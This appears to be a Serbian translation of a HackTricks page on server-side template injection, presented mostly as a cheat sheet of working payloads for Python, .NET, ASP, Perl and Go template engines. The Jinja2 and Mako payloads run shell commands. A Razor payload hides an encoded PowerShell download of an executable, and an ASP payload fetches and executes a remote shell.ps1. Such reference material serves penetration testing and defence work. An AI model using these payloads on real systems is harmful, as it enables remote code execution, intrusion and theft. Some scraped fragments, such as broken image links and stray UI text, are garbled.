Pogledajte sledeću stranicu da naučite trikove o arbitrary command execution bypassing sandboxes u Pythonu:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Više informacija
Jinja2 (Python)
Jinja2 je potpuno opremljen mehanizam za šablone za Python. Ima punu podršku za Unicode, opciono integrisano sandboxirano izvršno okruženje, široko je korišćen i licenciran pod BSD.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Format šablona
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE ne zavisi od __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Više detalja o tome kako zloupotrebiti Jinja:
Ostali payloadi nalaze se na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Više informacija
Other Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Više informacija na https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Metoda .NET-a System.Diagnostics.Process.Start može se iskoristiti za pokretanje bilo kog procesa na serveru i time kreiranje webshell-a. Primer ranjive web aplikacije možete pronaći na https://github.com/cnotin/RazorVulnerableApp
Više informacija
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Više informacija
.Net Zaobilaženje ograničenja
The .NET Reflection mehanizmi se mogu koristiti za zaobilaženje blacklisting-a ili kada klase nisu prisutne u assembly-ju. DLL-ovi se mogu učitati u runtime-u sa metodama i svojstvima dostupnim iz osnovnih objekata.
Dll’s can be loaded with:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- from filesystem.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- directly from request.
Potpuno izvršavanje komandi:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Više informacija
Mojolicious (Perl)
Čak iako je Perl, koristi tagove kao ERB u Rubyju.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
U Go-ovom template engine-u, potvrda da se koristi može se uraditi pomoću specifičnih payload-ova:
{{ . }}: Otkriva strukturu podataka koja je prosleđena. Na primer, ako se prosledi objekat sa atributomPassword,{{ .Password }}bi mogao da ga otkrije.{{printf "%s" "ssti" }}: Očekuje se da prikaže string “ssti”.{{html "ssti"}},{{js "ssti"}}: Ovi payload-ovi bi trebali da vrate “ssti” bez dodavanja “html” ili “js”. Dodatne direktive mogu se proučiti u Go dokumentaciji ovde.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
Sa paketom text/template, XSS može biti jednostavan ubacivanjem payload-a direktno. Nasuprot tome, paket html/template enkodira odgovor da to spreči (npr. {{"<script>alert(1)</script>"}} rezultira <script>alert(1)</script>). Ipak, definicija i pozivanje template-a u Go mogu zaobići ovo enkodiranje: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Kopiraj kod
RCE Exploitation
RCE eksploatacija se značajno razlikuje između html/template i text/template. Modul text/template dozvoljava pozivanje bilo koje public funkcije direktno (koristeći vrednost “call”), što nije dopušteno u html/template. Dokumentacija za ove module je dostupna ovde za html/template i ovde za text/template.
Za RCE putem SSTI u Go, mogu se pozivati metode objekata. Na primer, ako prosleđeni objekat ima System metodu koja izvršava komande, može se iskoristiti kao {{ .System "ls" }}. Obično je neophodno pristupiti source kodu da bi se ovo iskoristilo, kao u datom primeru:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Više informacija
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS preprocesor)
LESS je popularan CSS preprocesor koji dodaje varijable, mixins, funkcije i moćnu @import direktivu. Tokom kompilacije LESS engine će preuzeti resurse na koje se pozivaju @import izjave i ugraditi (“inline”) njihov sadržaj u rezultujući CSS kada je opcija (inline) uključena.
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
More Exploits
Proverite ostatak https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection za više exploits. Takođe možete pronaći zanimljive informacije o tags u https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Povezana pomoć
Ako mislite da bi to moglo biti korisno, pročitajte:
Alati
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Detection List
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Reference
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)
- XWiki advisory –
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


